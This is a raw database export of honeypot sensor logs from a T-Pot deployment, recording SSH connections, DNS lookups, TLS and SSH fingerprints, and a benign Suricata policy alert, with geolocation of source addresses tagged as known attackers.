27522	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:43.373188+03	2021-09-20 14:15:14.694646+03	{"_id": "HgbqAnwBvYTbRNuEUyj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e15c0f9ee43f", "@version": "1", "duration": 3.4625442028045654, "timestamp": "2021-09-20T11:14:43.373188Z", "@timestamp": "2021-09-20T11:14:43.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27523	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:44.275169+03	2021-09-20 14:15:14.696644+03	{"_id": "IwbqAnwBvYTbRNuEVyji", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "23171de02f20", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:44.275169Z", "@timestamp": "2021-09-20T11:14:44.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27524	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:14:52.467072+03	2021-09-20 14:15:14.697646+03	{"_id": "ZAbqAnwBvYTbRNuEeSgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 20670, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1754, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 154184715082197, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56129, "timestamp": "2021-09-20T11:14:52.467072Z", "@timestamp": "2021-09-20T11:14:52.467Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27525	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:52.537773+03	2021-09-20 14:15:14.698646+03	{"_id": "ZgbqAnwBvYTbRNuEeihR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34960, "dest_port": 443, "timestamp": "2021-09-20T11:14:52.537773", "@timestamp": "2021-09-20T11:14:52.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27526	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:14:54.040663+03	2021-09-20 14:15:14.700646+03	{"_id": "ZwbqAnwBvYTbRNuEfSgB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 2060566078980989, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2125, "dest_port": 22, "timestamp": "2021-09-20T11:14:54.040663Z", "@timestamp": "2021-09-20T11:14:54.040Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27527	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:14:54.041286+03	2021-09-20 14:15:14.701646+03	{"_id": "aQbqAnwBvYTbRNuEfig6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2125, "dest_port": 22, "timestamp": "2021-09-20T11:14:54.041286", "@timestamp": "2021-09-20T11:14:54.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27528	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:14:53.765719+03	2021-09-20 14:15:14.702646+03	{"_id": "awbqAnwBvYTbRNuEfij5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2125 (192.168.176.2:22) [session: 7c3eba3f4b73]", "session": "7c3eba3f4b73", "@version": "1", "protocol": "ssh", "src_port": 2125, "dest_port": 22, "timestamp": "2021-09-20T11:14:53.765719Z", "@timestamp": "2021-09-20T11:14:53.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27529	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:54.51892+03	2021-09-20 14:15:14.704646+03	{"_id": "bgbqAnwBvYTbRNuEfij5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6e49fc325f15", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:54.518920Z", "@timestamp": "2021-09-20T11:14:54.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27530	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:56.561067+03	2021-09-20 14:15:14.705645+03	{"_id": "uAbqAnwBvYTbRNuEiSj2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36948, "timestamp": "2021-09-20T11:14:56.561067", "@timestamp": "2021-09-20T11:14:56.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27531	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:14:52.007391+03	2021-09-20 14:15:14.706646+03	{"_id": "YQbqAnwBvYTbRNuEdygp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "61ea14951c44", "@version": "1", "duration": 2.3474485874176025, "timestamp": "2021-09-20T11:14:52.007391Z", "@timestamp": "2021-09-20T11:14:52.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27532	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:14:52.465365+03	2021-09-20 14:15:14.707646+03	{"_id": "YwbqAnwBvYTbRNuEeSgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 20670, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 154184715082197, "@version": "1", "in_iface": "enp5s0", "src_port": 56129, "dest_port": 53, "timestamp": "2021-09-20T11:14:52.465365Z", "@timestamp": "2021-09-20T11:14:52.465Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27533	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:14:52.58024+03	2021-09-20 14:15:14.709646+03	{"_id": "ZQbqAnwBvYTbRNuEeihR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34960, "timestamp": "2021-09-20T11:14:52.580240", "@timestamp": "2021-09-20T11:14:52.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27534	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:14:54.041286+03	2021-09-20 14:15:14.710646+03	{"_id": "aAbqAnwBvYTbRNuEfSgB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:14:52.492413+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1410}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2060566078980989, "payload": "AAADzAYUrrqARY1ho3LyFbNt8cZXegAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2125, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:14:54.041286Z", "@timestamp": "2021-09-20T11:14:54.041Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........E.a.r...m..Wz...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
27535	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:53.769495+03	2021-09-20 14:15:14.711646+03	{"_id": "agbqAnwBvYTbRNuEfig6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2125, "timestamp": "2021-09-20T11:14:53.769495", "@timestamp": "2021-09-20T11:14:53.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27536	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:54.231942+03	2021-09-20 14:15:14.712646+03	{"_id": "bAbqAnwBvYTbRNuEfij5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53020 (192.168.176.2:22) [session: 6e49fc325f15]", "session": "6e49fc325f15", "@version": "1", "protocol": "ssh", "src_port": 53020, "dest_port": 22, "timestamp": "2021-09-20T11:14:54.231942Z", "@timestamp": "2021-09-20T11:14:54.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27537	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:55.235184+03	2021-09-20 14:15:14.713646+03	{"_id": "egbqAnwBvYTbRNuEgigk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45050, "timestamp": "2021-09-20T11:14:55.235184", "@timestamp": "2021-09-20T11:14:55.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	